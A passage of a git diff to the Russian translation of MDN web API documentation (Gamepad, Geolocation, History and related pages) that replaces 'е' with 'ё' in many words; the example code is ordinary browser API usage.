{{readonlyInline}}</dt> <dd>Массив объектов {{domxref("gamepadButton")}} представляющих кнопки устройства.</dd> <dt>{{domxref("Gamepad.axes")}} {{readonlyInline}}</dt> diff --git a/files/ru/web/api/gamepad/index/index.html b/files/ru/web/api/gamepad/index/index.html index 2e51e57342..e1022410b4 100644 --- a/files/ru/web/api/gamepad/index/index.html +++ b/files/ru/web/api/gamepad/index/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/Gamepad/index --- <div>{{APIRef("Gamepad API")}}</div> -<p>Свойство <code><strong>Gamepad.index</strong></code> интерфейса {{domxref("Gamepad") }} возвращает целое автоинкрементируемое значение, уникальное для каждого устройства, подключенного к системе.</p> +<p>Свойство <code><strong>Gamepad.index</strong></code> интерфейса {{domxref("Gamepad") }} возвращает целое автоинкрементируемое значение, уникальное для каждого устройства, подключённого к системе.</p> -<p>Это может быть полезно для распознавания нескольких контроллеров; отключенный, и подключенный заново геймпад, будет иметь тот же индекс.</p> +<p>Это может быть полезно для распознавания нескольких контроллеров; отключённый, и подключённый заново геймпад, будет иметь тот же индекс.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/gamepad_api/index.html b/files/ru/web/api/gamepad_api/index.html index 482b9e484c..553d593424 100644 --- a/files/ru/web/api/gamepad_api/index.html +++ b/files/ru/web/api/gamepad_api/index.html @@ -17,9 +17,9 @@ translation_of: Web/API/Gamepad_API <dl> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad" title="The Gamepad interface of the Gamepad API defines an individual gamepad or other controller, allowing access to information such as button presses, axis positions, and id."><code>Gamepad</code></a></dt> - <dd>Представляет собой геймпад/контроллер, подключенный к компьютеру.</dd> + <dd>Представляет собой геймпад/контроллер, подключённый к компьютеру.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadButton" title="The GamepadButton interface defines an individual button of a gamepad or other controller, allowing access to the current state of different types of buttons available on the control device."><code>GamepadButton</code></a></dt> - <dd>Представляет собой кнопку одного из подключенных контроллеров</dd> + <dd>Представляет собой кнопку одного из подключённых контроллеров</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadEvent" title="The GamepadEvent interface of the Gamepad API contains references to gamepads connected to the system, which is what the gamepad events Window.gamepadconnected and Window.gamepaddisconnected are fired in response to."><code>GamepadEvent</code></a></dt> <dd>Объект события, представляющий запущенные события, связанные с геймпадами.</dd> </dl> @@ -30,7 +30,7 @@ translation_of: Web/API/Gamepad_API <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadHapticActuator" title="The GamepadHapticActuator interface of the Gamepad API represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware."><code>GamepadHapticActuator</code></a></dt> <dd>Представляет собой аппаратное обеспечение в контроллере, предназначенное для обеспечения тактильной обратной связи с пользователем (если таковая имеется), чаще всего вибрационное оборудование.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadPose" title="The GamepadPose interface of the Gamepad API represents the pose of a WebVR controller at a given timestamp (which includes orientation, position, velocity, and acceleration information.)"><code>GamepadPose</code></a></dt> - <dd>Представляет собой позу контроллера (например, положение и ориентацию в трехмерном пространстве) в случае контроллера WebVR. Это не используется в более новом стандарте WebXR.</dd> + <dd>Представляет собой позу контроллера (например, положение и ориентацию в трёхмерном пространстве) в случае контроллера WebVR. Это не используется в более новом стандарте WebXR.</dd> </dl> <p>Сморите также <a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad#Experimental_extensions_to_Gamepad">extensions to the Gamepad interface</a> (расширения интерфейса геймпада) для функций, которые позволяют получить доступ к вышеуказанной информации.</p> @@ -41,7 +41,7 @@ translation_of: Web/API/Gamepad_API <dl> <dt>{{domxref("Navigator.getGamepads()")}}</dt> - <dd>Расширение объекта {{domxref("Navigator")}}, возвращающее массив объектов {{domxref("Gamepad")}} по одному для каждого подключенного геймпада.</dd> + <dd>Расширение объекта {{domxref("Navigator")}}, возвращающее массив объектов {{domxref("Gamepad")}} по одному для каждого подключённого геймпада.</dd> </dl> <h4 id="События_окна">События окна</h4> @@ -87,7 +87,7 @@ translation_of: Web/API/Gamepad_API <h2 id="Совместимость_браузера">Совместимость браузера</h2> -<div class="hidden">Таблица совместимости на этой странице создается на основе структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся на основе структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div> <p>{{Compat("api.Gamepad")}}</p> diff --git a/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html index 5db5305cc8..6bdbe4b071 100644 --- a/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html +++ b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html @@ -7,14 +7,14 @@ translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API <p><span class="seoSummary">HTML5 представляет большое количество необходимых компонентов для полной и интерактивной разработки игр. Такие технологии, как <code><canvas></code>, WebGL, <code><audio></code>, и <code><video></code>, вместе с Javascript сейчас поддерживают большое количество задач, для которых раньше требовались нативные программы. Gamepad API - это способ получения данных с геймпада и других игровых контроллеров. </span></p> -<p><a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> добавляет в объект {{ domxref("Window") }} новые события для получения событий контроллера. Дополнительно к этим событиям, API также добавляет объект {{ domxref("Gamepad") }}, который позволяет получить состояние подключенного контроллера, и метод {{ domxref("navigator.getGamepads()") }} который позволяет получить все контроллеры, определенные на странице браузера.</p> +<p><a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> добавляет в объект {{ domxref("Window") }} новые события для получения событий контроллера. Дополнительно к этим событиям, API также добавляет объект {{ domxref("Gamepad") }}, который позволяет получить состояние подключённого контроллера, и метод {{ domxref("navigator.getGamepads()") }} который позволяет получить все контроллеры, определённые на странице браузера.</p> <h2 id="conntecting" name="conntecting">Подключение геймпада</h2> -<p>Когда новый геймпад подключается, на странице срабатывают события {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }}. Если геймпад уже был подключен к моменту загрузки страницы, события {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} сработают, когда пользователь нажмет на любую кнопку или передвинет стики. </p> +<p>Когда новый геймпад подключается, на странице срабатывают события {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }}. Если геймпад уже был подключён к моменту загрузки страницы, события {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} сработают, когда пользователь нажмёт на любую кнопку или передвинет стики. </p> <div class="blockIndicator geckoVersionNote"> -<p>В Firefox геймпад определяется только тогда, когда пользователь взаимодействует с ним, и при этом страница видна и в фокусе. Это помогает предотвратить использование геймпадов для идентификации пользователя. После взаимодействия с одним геймпадом другие подключенные геймпады будут автоматически видны.</p> +<p>В Firefox геймпад определяется только тогда, когда пользователь взаимодействует с ним, и при этом страница видна и в фокусе. Это помогает предотвратить использование геймпадов для идентификации пользователя. После взаимодействия с одним геймпадом другие подключённые геймпады будут автоматически видны.</p> </div> <p>Вы можете использовать {{domxref("Window/gamepadconnected_event", "gamepadconnected")}} как в примере:</p> diff --git a/files/ru/web/api/gamepadbutton/index.html b/files/ru/web/api/gamepadbutton/index.html index a704963ab2..5aaad8795f 100644 --- a/files/ru/web/api/gamepadbutton/index.html +++ b/files/ru/web/api/gamepadbutton/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/GamepadButton <div>Интерфейс <code><strong>GamepadButton</strong></code> определяет отдельную кнопку геймпада или другого контроллера, позволяя получить доступ к текущему состоянию различных типов кнопок, доступных на устройстве</div> -<p>Объект <strong><code>GamepadButton</code></strong> возвращается путем получения любого элемента в массиве <code>buttons</code>, который является свойством интерфейса {{domxref("Gamepad")}}.</p> +<p>Объект <strong><code>GamepadButton</code></strong> возвращается путём получения любого элемента в массиве <code>buttons</code>, который является свойством интерфейса {{domxref("Gamepad")}}.</p> <div class="note"> <p><strong>Note</strong>: Это работает только в Firefox Gecko 28 и выше; Chrome и более ранние версии Firefox по-прежнему возвращают массив чисел с плавающей точкой</p> @@ -24,7 +24,7 @@ translation_of: Web/API/GamepadButton <h2 id="Пример">Пример</h2> -<p>Приведенный код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете <a href="http://chrisdavidmills.github.io/gamepad-buttons/">Посмотреть демо</a>, и <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">посмотреть исходники на GitHub</a>). Важно — в Chrome {{domxref("Navigator.getGamepads")}} необходимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в Firefox {{domxref("Navigator.getGamepads")}} нет необходимости устанавливать префикс, и значения будут представлять собой массив объектов {{domxref("GamepadButton")}}; Свойство {{domxref("GamepadButton.value")}} или {{domxref("GamepadButton.pressed")}} необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p> +<p>Приведённый код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете <a href="http://chrisdavidmills.github.io/gamepad-buttons/">Посмотреть демо</a>, и <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">посмотреть исходники на GitHub</a>). Важно — в Chrome {{domxref("Navigator.getGamepads")}} необходимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в Firefox {{domxref("Navigator.getGamepads")}} нет необходимости устанавливать префикс, и значения будут представлять собой массив объектов {{domxref("GamepadButton")}}; Свойство {{domxref("GamepadButton.value")}} или {{domxref("GamepadButton.pressed")}} необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p> <pre class="brush: js notranslate">function gameLoop() { if(navigator.webkitGetGamepads) { diff --git a/files/ru/web/api/gamepadevent/index.html b/files/ru/web/api/gamepadevent/index.html index b0317ba076..707c5b2685 100644 --- a/files/ru/web/api/gamepadevent/index.html +++ b/files/ru/web/api/gamepadevent/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/GamepadEvent --- <p>{{APIRef("Gamepad API")}}</p> -<p><code>GamepadEvent</code> интерфейс {{ domxref("Gamepad API")}} содержит ссылки на геймпады, подключенные к системе, передающиеся при возникновении событий <a href="/ru/docs/Web/Events/gamepadconnected">Window.gamepadconnected</a> и <a href="/ru/docs/Web/Events/gamepaddisconnected">Window.gamepaddisconnected</a>.</p> +<p><code>GamepadEvent</code> интерфейс {{ domxref("Gamepad API")}} содержит ссылки на геймпады, подключённые к системе, передающиеся при возникновении событий <a href="/ru/docs/Web/Events/gamepadconnected">Window.gamepadconnected</a> и <a href="/ru/docs/Web/Events/gamepaddisconnected">Window.gamepaddisconnected</a>.</p> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/geolocation_api/index.html b/files/ru/web/api/geolocation_api/index.html index 3fcf298e7b..b9eadf1fda 100644 --- a/files/ru/web/api/geolocation_api/index.html +++ b/files/ru/web/api/geolocation_api/index.html @@ -10,7 +10,7 @@ original_slug: Web/API/Geolocation/Using_geolocation --- <div>{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}</div> -<p><strong>Geolocation API</strong> позволяет пользователю предоставлять свое местоположение web-приложению, если пользователь согласится предоставить его. Из соображений конфиденциальности, у пользователя будет запрошено разрешение на предоставление информации о местоположении.</p> +<p><strong>Geolocation API</strong> позволяет пользователю предоставлять своё местоположение web-приложению, если пользователь согласится предоставить его. Из соображений конфиденциальности, у пользователя будет запрошено разрешение на предоставление информации о местоположении.</p> <h2 id="Концепты_и_использование">Концепты и использование</h2> diff --git a/files/ru/web/api/geolocation_api/using_the_geolocation_api/index.html b/files/ru/web/api/geolocation_api/using_the_geolocation_api/index.html index e7884d5784..c8d5463e7b 100644 --- a/files/ru/web/api/geolocation_api/using_the_geolocation_api/index.html +++ b/files/ru/web/api/geolocation_api/using_the_geolocation_api/index.html @@ -10,7 +10,7 @@ original_slug: Web/API/Geolocation/Using_geolocation/Using_the_Geolocation_API --- <div>{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}</div> -<p>Geolocation API позволяет пользователю предоставлять свое местоположение web-приложению, если пользователь согласится предоставить его. Из соображений конфиденциальности, у пользователя будет запрошено разрешение на предоставление информации о местоположении.</p> +<p>Geolocation API позволяет пользователю предоставлять своё местоположение web-приложению, если пользователь согласится предоставить его. Из соображений конфиденциальности, у пользователя будет запрошено разрешение на предоставление информации о местоположении.</p> <h2 id="Объект_геолокации">Объект геолокации</h2> @@ -41,7 +41,7 @@ original_slug: Web/API/Geolocation/Using_geolocation/Using_the_Geolocation_API <h3 id="Наблюдение_за_текущим_местоположением">Наблюдение за текущим местоположением</h3> -<p>Если данные о местоположении меняются (либо устройство находится в движении, либо пришли более точные данные о геопозиции), вы можете указать callback функцию, которая будет вызывается при любом обновлении данных о местоположении. Это делается с использованием функции {{domxref("Geolocation.watchPosition()","watchPosition()")}}, которая имеет несколько входных параметров: {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}. Эта функция вызывается много раз, позволяя браузеру обновлять данные о текущей локации либо во время движения, либо после получения более точной информации о местоположении (после применения более точных приемов). Функция, которая вызывается при ошибке, для {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}, при желании, может быть вызвана неоднократно.</p> +<p>Если данные о местоположении меняются (либо устройство находится в движении, либо пришли более точные данные о геопозиции), вы можете указать callback функцию, которая будет вызывается при любом обновлении данных о местоположении. Это делается с использованием функции {{domxref("Geolocation.watchPosition()","watchPosition()")}}, которая имеет несколько входных параметров: {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}. Эта функция вызывается много раз, позволяя браузеру обновлять данные о текущей локации либо во время движения, либо после получения более точной информации о местоположении (после применения более точных приёмов). Функция, которая вызывается при ошибке, для {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}, при желании, может быть вызвана неоднократно.</p> <div class="note"> <p><strong>Примечание:</strong> Вы можете использовать {{domxref("Geolocation.watchPosition()","watchPosition()")}} без вызова {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.</p> diff --git a/files/ru/web/api/geolocationcoordinates/index.html b/files/ru/web/api/geolocationcoordinates/index.html index 11e04a464e..b8ed73803d 100644 --- a/files/ru/web/api/geolocationcoordinates/index.html +++ b/files/ru/web/api/geolocationcoordinates/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/GeolocationCoordinates --- <div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div> -<p>Интерфейс <strong><code>Coordinates</code></strong> отображает позицию устройства и его высоту над уровнем моря с расчетным уровнем точности.</p> +<p>Интерфейс <strong><code>Coordinates</code></strong> отображает позицию устройства и его высоту над уровнем моря с расчётным уровнем точности.</p> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/geolocationpositionerror/index.html b/files/ru/web/api/geolocationpositionerror/index.html index 55b2df9bf1..43ff2bceeb 100644 --- a/files/ru/web/api/geolocationpositionerror/index.html +++ b/files/ru/web/api/geolocationpositionerror/index.html @@ -34,7 +34,7 @@ translation_of: Web/API/GeolocationPositionError <tr> <td><code>3</code></td> <td><code>TIMEOUT</code></td> - <td>Время, разрешенное для получения геолокации, определяется {{domxref ("PositionOptions.timeout")}} информация была достигнута до получения информации.</td> + <td>Время, разрешённое для получения геолокации, определяется {{domxref ("PositionOptions.timeout")}} информация была достигнута до получения информации.</td> </tr> </tbody> </table> diff --git a/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html b/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html index 91a6e2bc07..c0c5fc87d8 100644 --- a/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html +++ b/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html @@ -74,7 +74,7 @@ translation_of: Web/API/GlobalEventHandlers/onanimationcancel </pre> </div> -<p>Опустим некоторые фрагменты CSS, не имеющие значение для нас, и рассмотрим стили для элемента, который мы анимируем. Это блок box со всеми своими свойствами, включая определенную анимацию {{cssxref("animation")}}. Мы продолжим и опишем анимацию прямо здесь, поскольку обычно она должна запускаться непосредственно при загрузке страницы, не зависимо от какого-либо другого события. </p> +<p>Опустим некоторые фрагменты CSS, не имеющие значение для нас, и рассмотрим стили для элемента, который мы анимируем. Это блок box со всеми своими свойствами, включая определённую анимацию {{cssxref("animation")}}. Мы продолжим и опишем анимацию прямо здесь, поскольку обычно она должна запускаться непосредственно при загрузке страницы, не зависимо от какого-либо другого события. </p> <pre class="brush: css">#box { width: var(--boxwidth); @@ -106,7 +106,7 @@ translation_of: Web/API/GlobalEventHandlers/onanimationcancel } </pre> -<p>Поскольку анимация описывается как бесконечное число раз, поочередное попеременное направление, поле будет скользить назад и вперед между двумя углами до тех пор, пока не остановится или страница не будет закрыта.</p> +<p>Поскольку анимация описывается как бесконечное число раз, поочерёдное попеременное направление, поле будет скользить назад и вперёд между двумя углами до тех пор, пока не остановится или страница не будет закрыта.</p> <h3 id="JavaScript_content">JavaScript content</h3> diff --git a/files/ru/web/api/globaleventhandlers/onerror/index.html b/files/ru/web/api/globaleventhandlers/onerror/index.html index 327a7d0d06..e870db3c68 100644 --- a/files/ru/web/api/globaleventhandlers/onerror/index.html +++ b/files/ru/web/api/globaleventhandlers/onerror/index.html @@ -39,7 +39,7 @@ translation_of: Web/API/GlobalEventHandlers/onerror <pre class="brush: js">// Пример 1: // Предотвращает диалоги об ошибках, отображает какая это функция окна, это нормальное -// поведение - путем переопределения обработчика событий по умолчанию для событий об ошибках, которые +// поведение - путём переопределения обработчика событий по умолчанию для событий об ошибках, которые // переходят окну. window.onerror = null; diff --git a/files/ru/web/api/globaleventhandlers/onloadend/index.html b/files/ru/web/api/globaleventhandlers/onloadend/index.html index 75b770e20e..6b25052a7f 100644 --- a/files/ru/web/api/globaleventhandlers/onloadend/index.html +++ b/files/ru/web/api/globaleventhandlers/onloadend/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/GlobalEventHandlers/onloadend --- <div>{{ApiRef}}</div> -<p><span id="result_box" lang="ru"><span>Свойство</span></span> <strong><code>onloadend</code></strong> <span id="result_box" lang="ru"><span>от </span></span>{{domxref("GlobalEventHandlers")}} примесь {{domxref("EventHandler")}} <span id="result_box" lang="ru"><span>передает код для вызова в момент возникновения события</span></span> {{event("loadend")}} (когда процесс загрузки ресурса окончился и остановился)</p> +<p><span id="result_box" lang="ru"><span>Свойство</span></span> <strong><code>onloadend</code></strong> <span id="result_box" lang="ru"><span>от </span></span>{{domxref("GlobalEventHandlers")}} примесь {{domxref("EventHandler")}} <span id="result_box" lang="ru"><span>передаёт код для вызова в момент возникновения события</span></span> {{event("loadend")}} (когда процесс загрузки ресурса окончился и остановился)</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/gyroscope/index.html b/files/ru/web/api/gyroscope/index.html index 83aca0334c..3399281c0c 100644 --- a/files/ru/web/api/gyroscope/index.html +++ b/files/ru/web/api/gyroscope/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Gyroscope --- <div>{{APIRef("Gyroscope")}}</div> -<p><span class="seoSummary"><strong><code>Gyroscope</code></strong> интерфейс <a href="/docs/Web/API/Sensor_APIs">Sensor API</a> дает возможность считать позицию устройства по всем трем осям.</span></p> +<p><span class="seoSummary"><strong><code>Gyroscope</code></strong> интерфейс <a href="/docs/Web/API/Sensor_APIs">Sensor API</a> даёт возможность считать позицию устройства по всем трём осям.</span></p> <p>Для использования того сенсора пользователю нужно предоставить доступ устройства к <code>'gyroscope'</code> через {{domxref('Permissions')}} API.</p> diff --git a/files/ru/web/api/history/go/index.html b/files/ru/web/api/history/go/index.html index 6612072c73..c214626c13 100644 --- a/files/ru/web/api/history/go/index.html +++ b/files/ru/web/api/history/go/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/History/go --- <div>{{APIRef("History API")}}</div> -<p>Метод <strong><code>History.go()</code></strong> выполняет переход на определенную страницу в истории текущей сессии. С его помощью можно перемещаться как вперед, так и назад, в зависимости от значения параметра.</p> +<p>Метод <strong><code>History.go()</code></strong> выполняет переход на определённую страницу в истории текущей сессии. С его помощью можно перемещаться как вперёд, так и назад, в зависимости от значения параметра.</p> <p>Данный метод является {{glossary("asynchronous", "асинхронным")}}. Добавьте обработчик для события {{event("popstate")}}, чтобы определить, когда переход закончен.</p> @@ -23,7 +23,7 @@ translation_of: Web/API/History/go <dl> <dt><code>delta</code> {{optional_inline}}</dt> - <dd>Относительное положение в истории, куда вы хотите переместиться. Отрицательные значения перемещают назад, а положительные -- вперед. Например, <code>history.go(2)</code> перемещает вперед на 2 страницы, а <code>history.go(-2)</code> перемещает на 2 страницы назад. Если метод вызван без параметра или же <code>delta</code> равна 0, результат выполнения будет такой же, как у <code>location.reload()</code>.</dd> + <dd>Относительное положение в истории, куда вы хотите переместиться. Отрицательные значения перемещают назад, а положительные -- вперёд. Например, <code>history.go(2)</code> перемещает вперёд на 2 страницы, а <code>history.go(-2)</code> перемещает на 2 страницы назад. Если метод вызван без параметра или же <code>delta</code> равна 0, результат выполнения будет такой же, как у <code>location.reload()</code>.</dd> </dl> <h2 id="Примеры">Примеры</h2> @@ -32,11 +32,11 @@ translation_of: Web/API/History/go <pre class="brush: js line-numbers language-js notranslate"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre> -<p>Перемещение на страницу вперед, как {{domxref("History.forward", "forward()")}}:</p> +<p>Перемещение на страницу вперёд, как {{domxref("History.forward", "forward()")}}:</p> <pre class="brush: js line-numbers language-js notranslate"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre> -<p>Перемещение на 2 страницы вперед:</p> +<p>Перемещение на 2 страницы вперёд:</p> <pre class="brush: js notranslate">history.go(2);</pre> diff --git a/files/ru/web/api/history/index.html b/files/ru/web/api/history/index.html index 5418220959..c49ae6d791 100644 --- a/files/ru/web/api/history/index.html +++ b/files/ru/web/api/history/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/History --- <p>{{ APIRef("HTML DOM") }}</p> -<p><em><strong>History</strong> интерфейс позволяет манипулировать историей браузера в пределах сессии, а именно историей о посещенных страницах в пределах вкладки или фрейма загруженного внутри страницы. </em></p> +<p><em><strong>History</strong> интерфейс позволяет манипулировать историей браузера в пределах сессии, а именно историей о посещённых страницах в пределах вкладки или фрейма загруженного внутри страницы. </em></p> <h2 id="Свойства">Свойства</h2> @@ -39,17 +39,17 @@ translation_of: Web/API/History </dd> <dt>{{domxref("History.go()")}}</dt> <dd> - <p>Загружает страницу из истории сессии, определяя ее положение относительно текущей страницы, например: -1 для предыдущей страницы или 1 для следующей страницы. Когда <em>integerDelta</em> выходит за предел (например, -1, когда нет ранее посещенных страниц в истории сессии), метод не делает ничего, и не вызывает исключение. Вызов Go () без параметров или с не целочисленным аргументом не имеет никакого эффекта (в отличие от Internet Explorer, <a href="http://msdn.microsoft.com/en-us/library/ms536443(VS.85).aspx">который поддерживает строки URL в качестве аргумента</a>).</p> + <p>Загружает страницу из истории сессии, определяя её положение относительно текущей страницы, например: -1 для предыдущей страницы или 1 для следующей страницы. Когда <em>integerDelta</em> выходит за предел (например, -1, когда нет ранее посещённых страниц в истории сессии), метод не делает ничего, и не вызывает исключение. Вызов Go () без параметров или с не целочисленным аргументом не имеет никакого эффекта (в отличие от Internet Explorer, <a href="http://msdn.microsoft.com/en-us/library/ms536443(VS.85).aspx">который поддерживает строки URL в качестве аргумента</a>).</p> </dd> <dt>{{domxref("History.pushState()")}} {{ gecko_minversion_inline("2.0") }}</dt> - <dd>Помещает полученные данные в стек истории сессии с определенным заголовком и, при наличии , URL. Данные рассматриваются DOM как непрозрачные; Вы можете задать любой объект JavaScript, который может быть сериализован. Обратите внимание, что в настоящее время Firefox игнорирует параметр заголовка; для получения дополнительной информации см.<a href="/en/DOM/Manipulating_the_browser_history"> управление историей браузера</a>. + <dd>Помещает полученные данные в стек истории сессии с определённым заголовком и, при наличии , URL. Данные рассматриваются DOM как непрозрачные; Вы можете задать любой объект JavaScript, который может быть сериализован. Обратите внимание, что в настоящее время Firefox игнорирует параметр заголовка; для получения дополнительной информации см.<a href="/en/DOM/Manipulating_the_browser_history"> управление историей браузера</a>. <div class="note"><strong>Примечание:</strong> В Gecko 2.0 {{ geckoRelease("2.0") }} до Gecko 5.0 {{ geckoRelease("5.0") }}, передаваемый объект сериарилизовался в JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект обрабатывается по <a href="https://developer.mozilla.org/ru/docs/Web/API/Web_Workers_API/Structured_clone_algorithm" title="Алгоритм структурированного клонирования">алгоритму структурированного клонирования</a>. Он позволяет передавать более широкое разнообразие объектов.</div> </dd> </dl> <dl> <dt>{{domxref("History.replaceState()")}} {{ gecko_minversion_inline("2.0") }}</dt> - <dd>Обновляет последнюю запись в стеке истории содержащий определенные данные, заголовок и, при наличии, URL. Данные рассматриваются DOM как непрозрачные; Вы можете задать любой объект JavaScript, который может быть сериализован. Обратите внимание, что в настоящее время Firefox игнорирует параметр заголовка; для получения дополнительной информации см.<a href="/en/DOM/Manipulating_the_browser_history"> управление историей браузера</a>. + <dd>Обновляет последнюю запись в стеке истории содержащий определённые данные, заголовок и, при наличии, URL. Данные рассматриваются DOM как непрозрачные; Вы можете задать любой объект JavaScript, который может быть сериализован. Обратите внимание, что в настоящее время Firefox игнорирует параметр заголовка; для получения дополнительной информации см.<a href="/en/DOM/Manipulating_the_browser_history"> управление историей браузера</a>. <div class="note"><strong>Примечание:</strong> В Gecko 2.0 {{ geckoRelease("2.0") }} до Gecko 5.0 {{ geckoRelease("5.0") }}, передаваемый объект сериарилизовался в JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект обрабатывается по <a href="https://developer.mozilla.org/ru/docs/Web/API/Web_Workers_API/Structured_clone_algorithm" title="Алгоритм структурированного клонирования">алгоритму структурированного клонирования</a>. Он позволяет передавать более широкое разнообразие объектов.</div> </dd> </dl> diff --git a/files/ru/web/api/history/state/index.html b/files/ru/web/api/history/state/index.html index 3faaa8676a..82b65cd3f7 100644 --- a/files/ru/web/api/history/state/index.html +++ b/files/ru/web/api/history/state/index.html @@ -15,11 +15,11 @@ translation_of: Web/API/History/state <h3 id="Значение">Значение</h3> -<p>Последнее состояние стека истории. Значение равно {{jsxref("null")}} до тех пор, пока не будет применен метод {{domxref("History.pushState","pushState()")}} или {{domxref("History.replaceState","replaceState()")}}.</p> +<p>Последнее состояние стека истории. Значение равно {{jsxref("null")}} до тех пор, пока не будет применён метод {{domxref("History.pushState","pushState()")}} или {{domxref("History.replaceState","replaceState()")}}.</p> <h2 id="Примеры">Примеры</h2> -<p>Код, приведенный ниже, выводит в консоль значение <code>history.state</code> до и после применения метода {{domxref("History.pushState","pushState()")}}, который записывает значение в историю.</p> +<p>Код, приведённый ниже, выводит в консоль значение <code>history.state</code> до и после применения метода {{domxref("History.pushState","pushState()")}}, который записывает значение в историю.</p> <pre class="brush: js notranslate">// Выведет null потому что мы пока не изменяли стек истории console.log(`History.state before pushState: ${history.state}`); diff --git a/files/ru/web/api/history_api/index.html b/files/ru/web/api/history_api/index.html index 2238486e34..e629e51ae1 100644 --- a/files/ru/web/api/history_api/index.html +++ b/files/ru/web/api/history_api/index.html @@ -23,7 +23,7 @@ translation_of: Web/API/History_API </pre> <p>Данный метод работает так, будто пользователь нажал на кнопку "Назад" на панели браузера.<br> - Похожим образом можно переместиться вперед (как если бы пользователь нажал на кнопку "Вперед"):</p> + Похожим образом можно переместиться вперёд (как если бы пользователь нажал на кнопку "Вперёд"):</p> <pre class="brush: js notranslate">window.history.forward(); </pre> @@ -42,7 +42,7 @@ translation_of: Web/API/History_API <pre class="brush: js notranslate">window.history.go(1); </pre> -<p>По такому же принципу, можно перемещаться вперед на 2 страницы, передавая аргумент <code>2</code>, и так далее.</p> +<p>По такому же принципу, можно перемещаться вперёд на 2 страницы, передавая аргумент <code>2</code>, и так далее.</p> <p>Кроме того, метод <code>go()</code> можно использовать для обновления текущей страницы, передавая аргумент <code>0</code> или вызывая его без аргументов:</p> diff --git a/files/ru/web/api/history_api/working_with_the_history_api/index.html b/files/ru/web/api/history_api/working_with_the_history_api/index.html index b577f135f2..46f6fbafd9 100644 --- a/files/ru/web/api/history_api/working_with_the_history_api/index.html +++ b/files/ru/web/api/history_api/working_with_the_history_api/index.html @@ -24,7 +24,7 @@ history.pushState(stateObj, "page 2", "bar.html") <p>В результате этого в URL-строке отобразится адрес <code>http://mozilla.org/bar.html</code>, но браузер не будет загружать страницу <code>bar.html</code> и даже не будет проверять, существует ли она..</p> -<p>Теперь предположим, что пользователь перешел по адресу <code>http://google.com</code> и затем нажал на кнопку "<strong>Назад</strong>". В результате этого в URL будет отображаться <code>http://mozilla.org/bar.html</code>, а <code>history.state</code> будет содержать <code>stateObj</code>. Событие popstate не будет вызвано, поскольку страница была перезагружена. Сама страница будет выглядеть как <code>bar.html</code>.</p> +<p>Теперь предположим, что пользователь перешёл по адресу <code>http://google.com</code> и затем нажал на кнопку "<strong>Назад</strong>". В результате этого в URL будет отображаться <code>http://mozilla.org/bar.html</code>, а <code>history.state</code> будет содержать <code>stateObj</code>. Событие popstate не будет вызвано, поскольку страница была перезагружена. Сама страница будет выглядеть как <code>bar.html</code>.</p> <p>Если пользователь ещё 